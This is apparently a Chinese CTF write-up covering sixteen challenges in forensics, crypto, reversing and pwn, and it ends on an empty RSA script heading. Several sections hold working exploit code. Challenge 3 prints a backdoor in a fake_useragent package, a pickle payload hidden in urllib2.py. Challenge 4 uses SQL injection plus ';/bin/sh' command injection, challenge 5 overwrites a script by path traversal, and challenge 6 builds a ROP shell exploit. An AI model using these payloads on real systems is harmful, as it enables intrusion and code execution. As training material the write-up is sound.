1. 高空作业
使用foremost可以得到压缩包, 爆破一下, 密码是123456
打开之后hex转码, 再base64转码, 得到flag
flag{311ea792e41a3f9db9328864abf3516a}
2. host.zip
用HxD打开看看是一个逆序的zip, 用脚本处理一下:
$file = [System.IO.File]::ReadAllBytes(".\1689123621450788@+@host.zip")
[array]::Reverse($file)
[System.IO.File]::WriteAllBytes("host.zip", $file)
解压, 重命名xlsx为zip, 再解压(因为xlsx打不开), 在文件夹里搜索flag
得到编码的flag: 👝👣👘👞👲👫👟👠👪👠👪👫👩👬👜👴
是个base100, 用python3 basecrack.py -b 👝👣👘👞👲👫👟👠👪👠👪👫👩👬👜👴
解码得到flag{thisistrue}
3. fake_useragant
这一道题可以在GitHub找到仓库源码, diff一下可以直接定位到关键代码. 当然没有源码也没关系, 一个一个文件翻看也能找到特殊的地方:
在urllib2.py中可以找到:
import pickle as json
def urlparse():
json.loads(base64.b64decode(b'Y19fYnVpbHRpbl9fCmV4ZWMKcDAKKFZcdTAwMGFodG1sPW9wZW4oYmFzZTY0LmI2NGRlY29kZShiIlpteGhaeTV3Ym1jPSIpLCAicmIiKS5yZWFkKClbMTQxMDpdXHUwMDBhanNvbi5sb2FkcyhiYXNlNjQuYjY0ZGVjb2RlKGh0bWxbOi0zXVs6Oi0xXStodG1sWy0zOl0pKVx1MDAwYQpwMQp0cDIKUnAzCi4='))
pickle
反序列化, 直接base64解码或者用pickletools.dis
函数解码这些操作码(但是这题不需要分析pickle的字节码, 因此直接base64解码就够了)
得到如下代码:
html=open(base64.b64decode(b"ZmxhZy5wbmc="), "rb").read()[1410:]
json.loads(base64.b64decode(html[:-3][::-1]+html[-3:]))
再解:
enc=""
for i in range(0,len(flag)):
d=ord(flag[i])^i
enc+=\'{:02x}\'.format(d)
print("enc=666d63647f353f666e6c6f3b353e6a392570747170272524207c232e2f257d2c431816111758")
逆向:
$enc = [int[]] -split ("666d63647f353f666e6c6f3b353e6a392570747170272524207c232e2f257d2c431816111758" -replace "(..)",'0x$1 ')
$flag = 0..$enc.Count | % {
[char]($enc[$_] -bxor $_)
}
echo "$($flag -join '')"
# flag{09afee093d65afbd2338e9538c3c9423}&
4. elf1
首先逆向分析一下, 用ghidra打开, 关键代码如下所示:
puts("Welcome!");
do {
while( true ) {
while( true ) {
while( true ) {
memset(&action,0,1024);
read(0,&action,1024);
if (action != 0x2002) break;
login_flag = 2;
puts("LOGIN OUT");
}
if (0x2002 < action) break;
if (action == 0x2001) {
// skip some thing
printf("[+] username: %s\n",&username);
printf("[+] password: %s\n",&password);
iVar1 = db_query(&username,&password);
if (iVar1 == 0) {
login_flag = 0;
puts("LOGIN SUCCESS");
}
else {
puts("LOGIN FAIL");
}
}
}
if (action == 0x2003) break;
if ((action == 0x2004) && (login_flag == 0)) {
puts("PING IP");
ip_sr = 0;
local_820 = 0;
snprintf((char *)&ip_sr,16,"%s",&local_816);
printf("[+] IP: %s\n",&ip_sr);
puVar3 = local_418;
for (lVar2 = 0x80; lVar2 != 0; lVar2 = lVar2 + -1) {
*puVar3 = 0;
puVar3 = puVar3 + (ulong)bVar4 * -2 + 1;
}
sprintf((char *)local_418,"ping -c 1 %s",&ip_sr);
system((char *)local_418);
}
}
if (login_flag == 0) {
puts("GET TIME");
system("date");
}
} while( true );
read
函数会不断的读取输入, 前两个字节赋值给action
, 表示要执行的动作. 后续按照一定的协议布置参数.
使用p.send(b'\x01\x20')
可以直接发送命令, 需要注意的是大小端序问题(当然其实用p16()
函数即可, 是我搞麻烦了, 但不重要)
简单fuzz一下这些参数的排布, 反正程序会把参数打印出来, 可以得到它的通信协议如下:
命令(2 bytes) | 参数1 | 参数2 | 释意 |
---|---|---|---|
0x2002 | LOGIN OUT | ||
0x2001 | username(from 3 byte to \0 or end) | password(from 33th byte to end) | LOGIN |
0x2003 | GET TIME | ||
0x2004 | ip(from 3 byte to end, 16 bytes limit) | PING IP |
因为执行数据库查询是直接拼接字符串, 所以使用万能密码即可登录成功. 登录后利用PING IP的指令执行函数即可.
from pwn import *
elf = ELF("./1689164288971764@+@elf");
p = elf.process()
#username&pwd
p.send(b'\x01\x20\' or 1=1; -- ');
p.send(b'\4')
p.recvuntil("SUCCESS\n")
#ping rce
p.send(b'\x04\x20;/bin/sh');
p.interactive();
5. elf2
do {
do {
while( true ) {
while( true ) {
memset(action,0,0x400);
read(0,action,1024);
if (action._0_2_ != 0x1002) break;
puts("COUNT");
system("./tool.sh");
puts("COUNT OVER");
}
if (action._0_2_ == 0x1003) break;
if (action._0_2_ == 0x1001) {
//skip some things
puts("UPLOAD");
dir_len = action._2_4_;
if ((((action._2_4_ != 0) && ((uint)action._2_4_ < 0x41)) &&
(uVar1 = *(uint *)((long)action + (ulong)(uint)action._2_4_ + 6), uVar1 != 0)) &&
(uVar1 < 513)) {
printf("[+] filename_len: %d\n",(ulong)(uint)action._2_4_);
printf("[+] content_len: %d\n",(ulong)uVar1);
memcpy(filename,(short *)((long)action + 6),(ulong)dir_len);
memcpy(file_content,auStack_100e + dir_len,(ulong)uVar1);
printf("[+] filename: %s\n",filename);
printf("[+] content: %s\n",file_content);
sprintf((char *)file_path,"upload/%s",filename);
if (((char)filename[0] != '\0') &&
(iVar2 = file_put_content(file_path,file_content,uVar1), iVar2 == 0)) {
puts("[+] UPLOAD_SUCCESS");
}
}
}
}
puts("LIST");
dir_len = action._2_4_;
// skip some things
} while ((action._2_4_ == 0) || (64 < (uint)action._2_4_));
memcpy(file_path,(short *)((long)action + 6),(ulong)(uint)action._2_4_);
printf("[+] dirname_len: %d\n",(ulong)dir_len);
printf("[+] dirname: %s\n",file_path);
for (; local_1028 < dir_len; local_1028 = local_1028 + 1) {
if (*(char *)((long)file_path + (long)(int)local_1028) == '\'') {
puts("invalid input!");
goto LAB_00400a59;
}
}
snprintf(action,0x400,"ls -l \'%s\'",file_path);
system(action);
puts("LIST OVER");
} while( true )
分析同上, 还是先得到通信协议:
命令(2 bytes) | 参数1(4 bytes) | 参数2 | 参数3(4 bytes) | 参数4 | 释意 |
---|---|---|---|---|---|
0x1002 | system("./tool.sh"); | ||||
0x1001 | len(filename) | filename | len(file_content) | file_content | UPLOAD_FILE |
0x1003 | len(dirname) | dirname | system("ls -l '$cmd'"); |
因为在0x1003的函数中设置了输入检测, 不允许使用"'
"逃逸. 因此尝试使用0x1001覆写tool.sh以实现rce:
from pwn import *
elf = ELF("./1689164278202479@+@elf");
p = elf.process()
p.recvuntil(b'RECV')
filename=b'../tool.sh'
content=b'/bin/sh'
payload=p16(0x1001)+p32(len(filename))+filename+p32(len(content))+content
p.send(payload)
p.recvuntil(b"UPLOAD_SUCCESS")
payload=p16(0x1002)#+p32(len(filename))+filename+p32(len(content))+content
p.send(payload)
p.recvuntil(b"COUNT")
print(p.recv());
p.interactive();
6. pwn1
一道64位的pwn, 存在最直白的read
函数栈溢出, 存在call system
, 存在pop rdi; ret;
的gadget用于ROP.
唯一缺失的是"/bin/sh"
, 好在存在字符串"echo Wish"
, 结尾是"sh"
, 利用它, 只要$PATH
变量设置的合适, 就能执行/bin/sh
. exp如下:
from pwn import *;
elf = ELF("./1689164264637000@+@pwn")
p = elf.process()
offset = 40
pop_rdi = 0x00000000004007c3
system = 0x004006c4
sh = 0x004007eb
payload = b'a' * offset + p64(pop_rdi) + p64(sh) + p64(system)
p.recvuntil(b"BABY_STACK\n")
p.send(payload)
p.interactive()
7. pwn2
别问我, 这题我指定不会做, 堆的东西知识量比栈大了不是一丁半点
[BUUCTF]PWN——ciscn_2019_es_1_buuctf ciscn_2019_es_1_Angel~Yan的博客-CSDN博客](https://blog.csdn.net/mcmuyanga/article/details/118193874)
8. cipher
题目描述:有趣的电脑与手机 ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt uuuu
搜: NCTF2019/BUUCTF-Keyboard - 「配枪朱丽叶。」 (hatenablog.com)
strr = "ooo yyy ii w uuu ee uuuu yyy uuuu y w uuu i i rr w i i rr rrr uuuu rrr uuuu t ii uuuu i w u rrr ee www ee yyy eee www w tt ee".split()
all = {'none1':'','none2':'','w':'abc','e':'def','r':'ghi','t':'jkl','y':'mno','u':'pors','i':'tuv','o':'wxyz'}
for i in strr:
print(all[i[0]][len(i)-1],end="")
9. crypto.py
加密函数如下, si
是盐, 长度为3且为小写字母
def encrypt(m, a, si):
c=""
for i in range(len(m)):
c+=hex(((ord(m[i])) * a + ord(next(si))) % 128)[2:].zfill(2)
return c
#加密后的密文为:
#177401504b0125272c122743171e2c250a602e3a7c206e014a012703273a3c0160173a73753d
m是明文, 格式已知: flag{********************************}
编写脚本爆破, 因为a
是共有的, 且有6个原文和密文是已知的, 可以多重验证一下.
$cipher = [int[]] -split ("177401504b0125272c122743171e2c250a602e3a7c206e014a012703273a3c0160173a73753d" -replace "(..)", '0x$1 ');
Function encrypt($m ,$a, $si) {
($m * $a + $si) % 128
}
$trueSi = @(1,2,3);
$trueA = 0
foreach($a in 0..65536) {
$fa = -1; $la = -2; $aa = -3; $ga = -4; $bla = -5; $bra = -6;
foreach($si in [int][char]'a'..[int][char]'z') {
if ((encrypt ([int][char]'f') $a $si) -eq $cipher[0]) {
$trueSi[0] = $si;
$fa = $a;
}
if ((encrypt ([int][char]'l') $a $si) -eq $cipher[1]) {
$trueSi[1] = $si;
$la = $a;
}
if ((encrypt ([int][char]'a') $a $si) -eq $cipher[2]) {
$trueSi[2] = $si;
$aa = $a;
}
if ((encrypt ([int][char]'g') $a $si) -eq $cipher[3]) {
$trueSi[0] = $si;
$ga = $a;
}
if ((encrypt ([int][char]'{') $a $si) -eq $cipher[4]) {
$trueSi[1] = $si;
$bla = $a;
}
if ((encrypt ([int][char]'}') $a $si) -eq $cipher[-1]) {
$trueSi[2] = $si;
$bra = $a;
}
}
if ($fa -eq $la -and $la -eq $aa -and $aa -eq $ga -and $ga -eq $bla -and $bla -eq $bra) {
echo "si = $([char[]]$trueSi -join ''); a = $($a)"
$trueA = $a;
break;
}
}
$flag = "flag{";
foreach($i in 5 .. $cipher.Count) {
foreach($chr in 0..256) {
if ((encrypt $chr $trueA ($trueSi[$i % 3])) -eq $cipher[$i]) {
$flag += [char]$chr;
break;
}
}
}
echo $flag
10. MD5碰撞
已知某功率预测主机密码明文为?dR%k?K?h%&f@?om,其中"?"代表一个数字。而密码md5的后四位为cf5b。求某功率预测主机密码明文。 flag格式:flag{xxxx},提示:flag为密码明文md5加密后的32位小写。
直接编写脚本爆破:
Function md5sum($str) {
$md5 = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider
$utf8 = New-Object -TypeName System.Text.UTF8Encoding
$hash = [System.BitConverter]::ToString($md5.ComputeHash($utf8.GetBytes($str)))
return ($hash -replace "-",'').ToLower()
}
$key = "?dR%k?K?h%&f@?om";
$target = "*cf5b";
$unknown = $key -replace "[^?]",""
$reg = New-Object Regex -ArgumentList ([regex]::Escape("?"))
1..$unknown.Length | % {
$key = $reg.replace($key, "{$($_ - 1)}", 1)
}
foreach($a in 0..9) {
foreach($b in 0..9) {
foreach($c in 0..9) {
foreach($d in 0..9) {
if ((md5sum ($key -f $a,$b,$c,$d)) -like $target) {
echo "key: $($key -f $a,$b,$c,$d)"
echo "md5: $((md5sum ($key -f $a,$b,$c,$d)))"
return;
}
}
}
}
}
11. 加密套娃
第一层的二进制没对齐, 需要用CaptEncoder解码. 解码后是URL编码的Unicode, 但是因为flag是纯ASCII, 可以把Unicode的前缀%5CU
给替换成空格, 用Hex解码后得到base64字符串, 再次解码得到Base32字符串, 最终得到flag
flag{huabeijingsai-crypto1-easy!~}
12. secure_file_decryptor_advanced
直接改一个爆破进去:
# secure_file_decryptor_advanced.py
def decrypt_file(encrypted_data, key):
# 简化的文件解密逻辑
for i, byte in enumerate(encrypted_data):
decrypted_byte = byte ^ (key + i) # 引入变化的密钥
decrypted_data.append(decrypted_byte)
return bytes(decrypted_data)
if __name__ == "__main__":
user_filename = input("请输入要解密的文件名:")
with open(user_filename, "rb") as encrypted_file:
encrypted_data = encrypted_file.read()
for key in range(65536):
decrypted_data = []
decrypted_data = decrypt_file(encrypted_data, key)
if decrypted_data.startswith(b'flag'):
print(decrypted_data)
break;
13. demo.jar
加密方法很简单:
// target: 7743067229430070291305252410517270125722701502772317557720125772
public static String encrypt(String s) {
byte[] b = s.getBytes();
byte[] keys = {17, 34, 51, 68};
byte[] res = new byte[32];
for (int i = 0; i < b.length; i += 4) {
for (int j = 0; j < 4; j++) {
res[i + j] = (byte) (b[i + j] ^ keys[j]);
}
}
return hex(res);
}
直接解密即可
$cyph = [int[]] -split ("7743067229430070291305252410517270125722701502772317557720125772" -replace "(..)",'0x$1 ')
$keys = @(17, 34, 51, 68)
$flag = 0..$cyph.Count | % {
[char]($cyph[$_] -bxor $keys[$_ % $keys.Count])
}
echo "$($flag -join '')"
14. ez.exe
这道题是一个计算校验和的题, 只看伪代码的话是不能完全还原flag的, 因为伪代码对部分数字进行了求和运算. 代码如下:
MOV dword ptr [ESP + local_14 ],0x65725f79
MOV dword ptr [ESP + local_18 ],0x33723076
MOV dword ptr [ESP + local_1c ],0x7d65
MOV EDX ,dword ptr [DAT_00402000 ] = 67616C66h
MOV EAX ,[_b] = 7361457Bh
ADD EDX ,EAX
MOV EAX ,dword ptr [ESP + local_14 ]
ADD EDX ,EAX
MOV EAX ,dword ptr [ESP + local_18 ]
ADD EDX ,EAX
MOV EAX ,dword ptr [ESP + local_1c ]
ADD EAX ,EDX
MOV dword ptr [ESP + local_2c ],EAX
MOV dword ptr [ESP ]=>local_30 ,.rdata = "sum(flag)=%d\n"
直接把数字拿出来转码即可, 需要注意大小端问题, 用kt.gy可以hex转码并reverse:
67616C66 #flag
7361457B #{Eas
65725f79 #y_re
33723076 #v0r3
7d65 #e}
#flag{Easy_rev0r3e}
15. re
虽然是elf, 但是用exepeinfo还是能看出来有upx壳. 脱壳一下, 得到加密算法:
// 主函数
if (len_flag == 38) {
enc(&input,_len_flag & 0xffffffff);
puVar4 = local_d8;
for (lVar3 = 0x10; lVar3 != 0; lVar3 = lVar3 + -1) {
*puVar4 = 0;
puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
}
for (local_c = 0; local_c < len_flag; local_c = local_c + 1) {
snprintf((char *)((long)local_d8 + (long)(local_c * 2)),0x80 - (long)(local_c * 2),"%02X",
(ulong)*(byte *)((long)&input + (long)local_c));
}
iVar1 = strcmp("C5D486D6EBCAB2A9A28187A8E8BDA01489C1DEE3A1D314D186D24480D79ABDD2F5F79384F2CC" ,
(char *)local_d8);
if (iVar1 == 0) {
puts("Good!");
}
// enc
long enc(long input,int len) {
byte bVar1;
byte bVar2;
int index;
for (index = 0; index < len; index = index + 1) {
bVar1 = *(byte *)(input + index);
bVar2 = get_key(index);
*(byte *)(input + index) = bVar1 ^ bVar2;
}
return input;
}
// get_key
undefined get_key(int index) {
size_t sVar1;
// 这里叫lyric是因为在ida64里会自动unicode编码, 编码后是一段歌词
sVar1 = strlen(lyric);
return lyric[(int)DWORD_ARRAY_00104080[index] % (int)sVar1];
}
提取出来两个数组, 需要注意lyric
数组是bytes
, DWORD_ARRAY_00104080
数组是double_word[]
, 编写脚本解密即可
$key = [int[]] -split ("C5D486D6EBCAB2A9A28187A8E8BDA01489C1DEE3A1D314D186D24480D79ABDD2F5F79384F2CC" -replace "(..)",'0x$1 ')
$lyric = @(
0xE5, 0xBE, 0x98, 0xE5, 0xBE, 0x8A, 0xE7, 0x9D, 0x80, 0xE7,
0x9A, 0x84, 0x20, 0xE5, 0x9C, 0xA8, 0xE8, 0xB7, 0xAF, 0xE4,
0xB8, 0x8A, 0xE7, 0x9A, 0x84, 0x20, 0xE4, 0xBD, 0xA0, 0xE8,
0xA6, 0x81, 0xE8, 0xB5, 0xB0, 0xE5, 0x90, 0x97, 0x20, 0xE6,
0x98, 0x93, 0xE7, 0xA2, 0x8E, 0xE7, 0x9A, 0x84, 0x20, 0xE9,
0xAA, 0x84, 0xE5, 0x82, 0xB2, 0xE7, 0x9D, 0x80, 0x20, 0xE9,
0x82, 0xA3, 0xE4, 0xB9, 0x9F, 0xE6, 0x9B, 0xBE, 0xE6, 0x98,
0xAF, 0xE6, 0x88, 0x91, 0xE7, 0x9A, 0x84, 0xE6, 0xA8, 0xA1,
0xE6, 0xA0, 0xB7, 0x20, 0xE6, 0xB2, 0xB8, 0xE8, 0x85, 0xBE,
0xE7, 0x9D, 0x80, 0xE7, 0x9A, 0x84, 0x20, 0xE4, 0xB8, 0x8D,
0xE5, 0xAE, 0x89, 0xE7, 0x9D, 0x80, 0xE7, 0x9A, 0x84, 0x20,
0xE4, 0xBD, 0xA0, 0xE8, 0xA6, 0x81, 0xE5, 0x8E, 0xBB, 0xE5,
0x93, 0xAA, 0x20, 0xE8, 0xB0, 0x9C, 0xE4, 0xB8, 0x80, 0xE6,
0xA0, 0xB7, 0xE7, 0x9A, 0x84, 0x20, 0xE6, 0xB2, 0x89, 0xE9,
0xBB, 0x98, 0xE7, 0x9D, 0x80, 0xE7, 0x9A, 0x84, 0x20, 0xE6,
0x95, 0x85, 0xE4, 0xBA, 0x8B, 0xE4, 0xBD, 0xA0, 0xE7, 0x9C,
0x9F, 0xE7, 0x9A, 0x84, 0xE5, 0x9C, 0xA8, 0xE5, 0x90, 0xAC,
0xE5, 0x90, 0x97, 0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE,
0xE7, 0xBB, 0x8F, 0xE8, 0xB7, 0xA8, 0xE8, 0xBF, 0x87, 0xE5,
0xB1, 0xB1, 0xE5, 0x92, 0x8C, 0xE5, 0xA4, 0xA7, 0xE6, 0xB5,
0xB7, 0x20, 0xE4, 0xB9, 0x9F, 0xE7, 0xA9, 0xBF, 0xE8, 0xBF,
0x87, 0xE4, 0xBA, 0xBA, 0xE5, 0xB1, 0xB1, 0xE4, 0xBA, 0xBA,
0xE6, 0xB5, 0xB7, 0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE,
0xE7, 0xBB, 0x8F, 0xE6, 0x8B, 0xA5, 0xE6, 0x9C, 0x89, 0xE7,
0x9D, 0x80, 0xE4, 0xB8, 0x80, 0xE5, 0x88, 0x87, 0x20, 0xE8,
0xBD, 0xAC, 0xE7, 0x9C, 0xBC, 0xE9, 0x83, 0xBD, 0xE9, 0xA3,
0x98, 0xE6, 0x95, 0xA3, 0xE5, 0xA6, 0x82, 0xE7, 0x83, 0x9F,
0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F,
0xE5, 0xA4, 0xB1, 0xE8, 0x90, 0xBD, 0xE5, 0xA4, 0xB1, 0xE6,
0x9C, 0x9B, 0xE5, 0xA4, 0xB1, 0xE6, 0x8E, 0x89, 0xE6, 0x89,
0x80, 0xE6, 0x9C, 0x89, 0xE6, 0x96, 0xB9, 0xE5, 0x90, 0x91,
0x20, 0xE7, 0x9B, 0xB4, 0xE5, 0x88, 0xB0, 0xE7, 0x9C, 0x8B,
0xE8, 0xA7, 0x81, 0xE5, 0xB9, 0xB3, 0xE5, 0x87, 0xA1, 0xE6,
0x89, 0x8D, 0xE6, 0x98, 0xAF, 0xE5, 0x94, 0xAF, 0xE4, 0xB8,
0x80, 0xE7, 0x9A, 0x84, 0xE7, 0xAD, 0x94, 0xE6, 0xA1, 0x88,
0x20, 0xE5, 0xBD, 0x93, 0xE4, 0xBD, 0xA0, 0xE4, 0xBB, 0x8D,
0xE7, 0x84, 0xB6, 0x20, 0xE8, 0xBF, 0x98, 0xE5, 0x9C, 0xA8,
0xE5, 0xB9, 0xBB, 0xE6, 0x83, 0xB3, 0x20, 0xE4, 0xBD, 0xA0,
0xE7, 0x9A, 0x84, 0xE6, 0x98, 0x8E, 0xE5, 0xA4, 0xA9, 0x20,
0xE5, 0xA5, 0xB9, 0xE4, 0xBC, 0x9A, 0xE5, 0xA5, 0xBD, 0xE5,
0x90, 0x97, 0x20, 0xE8, 0xBF, 0x98, 0xE6, 0x98, 0xAF, 0xE6,
0x9B, 0xB4, 0xE7, 0x83, 0x82, 0x20, 0xE5, 0xAF, 0xB9, 0xE6,
0x88, 0x91, 0xE8, 0x80, 0x8C, 0xE8, 0xA8, 0x80, 0xE6, 0x98,
0xAF, 0xE5, 0x8F, 0xA6, 0xE4, 0xB8, 0x80, 0xE5, 0xA4, 0xA9,
0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F,
0xE6, 0xAF, 0x81, 0xE4, 0xBA, 0x86, 0xE6, 0x88, 0x91, 0xE7,
0x9A, 0x84, 0xE4, 0xB8, 0x80, 0xE5, 0x88, 0x87, 0x20, 0xE5,
0x8F, 0xAA, 0xE6, 0x83, 0xB3, 0xE6, 0xB0, 0xB8, 0xE8, 0xBF,
0x9C, 0xE5, 0x9C, 0xB0, 0xE7, 0xA6, 0xBB, 0xE5, 0xBC, 0x80,
0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F,
0xE5, 0xA0, 0x95, 0xE5, 0x85, 0xA5, 0xE6, 0x97, 0xA0, 0xE8,
0xBE, 0xB9, 0xE9, 0xBB, 0x91, 0xE6, 0x9A, 0x97, 0x20, 0xE6,
0x83, 0xB3, 0xE6, 0x8C, 0xA3, 0xE6, 0x89, 0x8E, 0xE6, 0x97,
0xA0, 0xE6, 0xB3, 0x95, 0xE8, 0x87, 0xAA, 0xE6, 0x8B, 0x94,
0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F,
0xE8, 0xB1, 0xA1, 0xE4, 0xBD, 0xA0, 0xE8, 0xB1, 0xA1, 0xE4,
0xBB, 0x96, 0xE8, 0xB1, 0xA1, 0xE9, 0x82, 0xA3, 0xE9, 0x87,
0x8E, 0xE8, 0x8D, 0x89, 0xE9, 0x87, 0x8E, 0xE8, 0x8A, 0xB1,
0x20, 0xE7, 0xBB, 0x9D, 0xE6, 0x9C, 0x9B, 0xE7, 0x9D, 0x80,
0x20, 0xE6, 0xB8, 0xB4, 0xE6, 0x9C, 0x9B, 0xE7, 0x9D, 0x80,
0x20, 0xE5, 0x93, 0xAD, 0xE7, 0x9D, 0x80, 0xE7, 0xAC, 0x91,
0xE7, 0x9D, 0x80, 0xE5, 0xB9, 0xB3, 0xE5, 0x87, 0xA1, 0xE7,
0x9D, 0x80, 0x20, 0xE5, 0x90, 0x91, 0xE5, 0x89, 0x8D, 0xE8,
0xB5, 0xB0, 0x20, 0xE5, 0xB0, 0xB1, 0xE8, 0xBF, 0x99, 0xE4,
0xB9, 0x88, 0xE8, 0xB5, 0xB0, 0x20, 0xE5, 0xB0, 0xB1, 0xE7,
0xAE, 0x97, 0xE4, 0xBD, 0xA0, 0xE8, 0xA2, 0xAB, 0xE7, 0xBB,
0x99, 0xE8, 0xBF, 0x87, 0xE4, 0xBB, 0x80, 0xE4, 0xB9, 0x88,
0x20, 0xE5, 0x90, 0x91, 0xE5, 0x89, 0x8D, 0xE8, 0xB5, 0xB0,
0x20, 0xE5, 0xB0, 0xB1, 0xE8, 0xBF, 0x99, 0xE4, 0xB9, 0x88,
0xE8, 0xB5, 0xB0, 0x20, 0xE5, 0xB0, 0xB1, 0xE7, 0xAE, 0x97,
0xE4, 0xBD, 0xA0, 0xE8, 0xA2, 0xAB, 0xE5, 0xA4, 0xBA, 0xE8,
0xB5, 0xB0, 0xE4, 0xBB, 0x80, 0xE4, 0xB9, 0x88, 0x20, 0xE5,
0x90, 0x91, 0xE5, 0x89, 0x8D, 0xE8, 0xB5, 0xB0, 0x20, 0xE5,
0xB0, 0xB1, 0xE8, 0xBF, 0x99, 0xE4, 0xB9, 0x88, 0xE8, 0xB5,
0xB0, 0x20, 0xE5, 0xB0, 0xB1, 0xE7, 0xAE, 0x97, 0xE4, 0xBD,
0xA0, 0xE4, 0xBC, 0x9A, 0xE9, 0x94, 0x99, 0xE8, 0xBF, 0x87,
0xE4, 0xBB, 0x80, 0xE4, 0xB9, 0x88, 0x20, 0xE5, 0x90, 0x91,
0xE5, 0x89, 0x8D, 0xE8, 0xB5, 0xB0, 0x20, 0xE5, 0xB0, 0xB1,
0xE8, 0xBF, 0x99, 0xE4, 0xB9, 0x88, 0xE8, 0xB5, 0xB0, 0x20,
0xE5, 0xB0, 0xB1, 0xE7, 0xAE, 0x97, 0xE4, 0xBD, 0xA0, 0xE4,
0xBC, 0x9A, 0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7,
0xBB, 0x8F, 0xE8, 0xB7, 0xA8, 0xE8, 0xBF, 0x87, 0xE5, 0xB1,
0xB1, 0xE5, 0x92, 0x8C, 0xE5, 0xA4, 0xA7, 0xE6, 0xB5, 0xB7,
0x20, 0xE4, 0xB9, 0x9F, 0xE7, 0xA9, 0xBF, 0xE8, 0xBF, 0x87,
0xE4, 0xBA, 0xBA, 0xE5, 0xB1, 0xB1, 0xE4, 0xBA, 0xBA, 0xE6,
0xB5, 0xB7, 0x20, 0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7,
0xBB, 0x8F, 0xE6, 0x8B, 0xA5, 0xE6, 0x9C, 0x89, 0xE7, 0x9D,
0x80, 0xE4, 0xB8, 0x80, 0xE5, 0x88, 0x87, 0x20, 0xE8, 0xBD,
0xAC, 0xE7, 0x9C, 0xBC, 0xE9, 0x83, 0xBD, 0xE9, 0xA3, 0x98,
0xE6, 0x95, 0xA3, 0xE5, 0xA6, 0x82, 0xE7, 0x83, 0x9F, 0x20,
0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F, 0xE5,
0xA4, 0xB1, 0xE8, 0x90, 0xBD, 0xE5, 0xA4, 0xB1, 0xE6, 0x9C,
0x9B, 0xE5, 0xA4, 0xB1, 0xE6, 0x8E, 0x89, 0xE6, 0x89, 0x80,
0xE6, 0x9C, 0x89, 0xE6, 0x96, 0xB9, 0xE5, 0x90, 0x91, 0x20,
0xE7, 0x9B, 0xB4, 0xE5, 0x88, 0xB0, 0xE7, 0x9C, 0x8B, 0xE8,
0xA7, 0x81, 0xE5, 0xB9, 0xB3, 0xE5, 0x87, 0xA1, 0xE6, 0x89,
0x8D, 0xE6, 0x98, 0xAF, 0xE5, 0x94, 0xAF, 0xE4, 0xB8, 0x80,
0xE7, 0x9A, 0x84, 0xE7, 0xAD, 0x94, 0xE6, 0xA1, 0x88, 0x20,
0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F, 0xE6,
0xAF, 0x81, 0xE4, 0xBA, 0x86, 0xE6, 0x88, 0x91, 0xE7, 0x9A,
0x84, 0xE4, 0xB8, 0x80, 0xE5, 0x88, 0x87, 0x20, 0xE5, 0x8F,
0xAA, 0xE6, 0x83, 0xB3, 0xE6, 0xB0, 0xB8, 0xE8, 0xBF, 0x9C,
0xE5, 0x9C, 0xB0, 0xE7, 0xA6, 0xBB, 0xE5, 0xBC, 0x80, 0x20,
0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F, 0xE5,
0xA0, 0x95, 0xE5, 0x85, 0xA5, 0xE6, 0x97, 0xA0, 0xE8, 0xBE,
0xB9, 0xE9, 0xBB, 0x91, 0xE6, 0x9A, 0x97, 0x20, 0xE6, 0x83,
0xB3, 0xE6, 0x8C, 0xA3, 0xE6, 0x89, 0x8E, 0xE6, 0x97, 0xA0,
0xE6, 0xB3, 0x95, 0xE8, 0x87, 0xAA, 0xE6, 0x8B, 0x94, 0x20,
0xE6, 0x88, 0x91, 0xE6, 0x9B, 0xBE, 0xE7, 0xBB, 0x8F, 0xE5,
0x83, 0x8F, 0xE4, 0xBD, 0xA0, 0xE5, 0x83, 0x8F, 0xE4, 0xBB,
0x96, 0xE5, 0x83, 0x8F, 0xE9, 0x82, 0xA3, 0xE9, 0x87, 0x8E,
0xE8, 0x8D, 0x89, 0xE9, 0x87, 0x8E, 0xE8, 0x8A, 0xB1, 0x20,
0xE7, 0xBB, 0x9D, 0xE6, 0x9C, 0x9B, 0xE7, 0x9D, 0x80, 0x20,
0xE6, 0xB8, 0xB4, 0xE6, 0x9C, 0x9B, 0xE7, 0x9D, 0x80, 0x20,
0xE5, 0x93, 0xAD, 0xE7, 0x9D, 0x80, 0xE7, 0xAC, 0x91, 0xE7,
0x9D, 0x80, 0xE5, 0xB9, 0xB3, 0xE5, 0x87, 0xA1, 0xE7, 0x9D,
0x80, 0x00
);
$arc = @(
0x37C, 0x7F, 0x2E9, 0x126, 0x3A9, 0x4E, 0x217, 0x123, 0x211,
0x33F, 0x2DB, 0x359, 0x0EE, 0x169, 0x1ED, 0x53, 0x2E8, 0x2BE,
0x194, 0x236, 0x0A8, 0x16A, 0x178, 0x37D, 0x1DF, 0x19B, 0x2B5,
0x83, 0x13, 0x1A1, 0x20E, 0x77, 0x3A6, 0x231, 0x26A, 0x1BC, 0x357,
0x334
)
function resolve() {
$flag = 0..$key.Count | % {
$lyric[$arc[$_] % $lyric.Count] -bxor $key[$_]
}
$flag
}
echo "$((resolve | %{ [char]$_}) -join '')"
另: ghidra导出字符串是在字符串窗口里, 在data段里可以导出bytes数组
16. RSA
直接"CTF小学生"里搜, 是第十题: ctf小学生-rsa writeup - sigenzhe - 博客园 (cnblogs.com)
解密脚本:
